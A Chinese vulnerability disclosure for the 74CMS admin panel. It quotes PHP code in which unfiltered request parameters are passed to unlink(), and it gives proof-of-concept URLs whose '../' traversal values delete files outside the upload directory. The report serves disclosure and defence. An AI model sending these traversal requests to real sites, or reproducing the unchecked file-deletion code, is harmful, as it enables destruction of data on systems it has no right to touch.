### 简要描述:
~~
### 详细说明:
74CMS后台存在多处任意文件删除漏洞
第一,二处:
文件admin/admin_article.php
```
elseif($act == 'del_img')
{
check_token();
$id=intval($_GET['id']);
$img=$_GET['img'];
$sql="update ".table('article')." set Small_img='' where id=".$id." LIMIT 1";
$db->query($sql);
@unlink($upfiles_dir.$img);
@unlink($thumb_dir.$img);
adminmsg("删除缩略图成功!",2);
}
```
$img=$_GET['img'];
然后
@unlink($upfiles_dir.$img);
@unlink($thumb_dir.$img);
img没有过滤,导致可删除任意文件。
第三处:
文件admin/admin_baiduxml.php
```
elseif($act == 'del')
{
$xmlset=get_cache('baiduxml');
$xmldir = '../'.$xmlset['xmldir'];
$file_name=$_POST['file_name'];
if (empty($file_name))
{
adminmsg("请选择文档!",1);
}
if (!is_array($file_name)) $file_name=array($file_name);
foreach($file_name as $f )
{
@unlink($xmldir.$f);
}
adminmsg("删除成功!",2);
}
```
$file_name=$_POST['file_name'];
file_name没有经过处理,直接进行@unlink,导致删除任意文件。
### 漏洞证明:
我们来删除根目录下的123.txt文件
[<img src="https://images.seebug.org/upload/201405/081738570e1bbfca23c7f8911ae97a289d09bd4c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/081738570e1bbfca23c7f8911ae97a289d09bd4c.png)
访问:
1、http://localhost/74cms/admin/admin_article.php?act=del_img&id=1&img=../../123.txt
2、http://localhost/74cms/admin/admin_baiduxml.php?act=del(POST)file_name=../123.txt
即可删除根目录下的123.txt文件:
[<img src="https://images.seebug.org/upload/201405/0817403648aab56693e105202c81946240091c42.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/0817403648aab56693e105202c81946240091c42.png)
暂无评论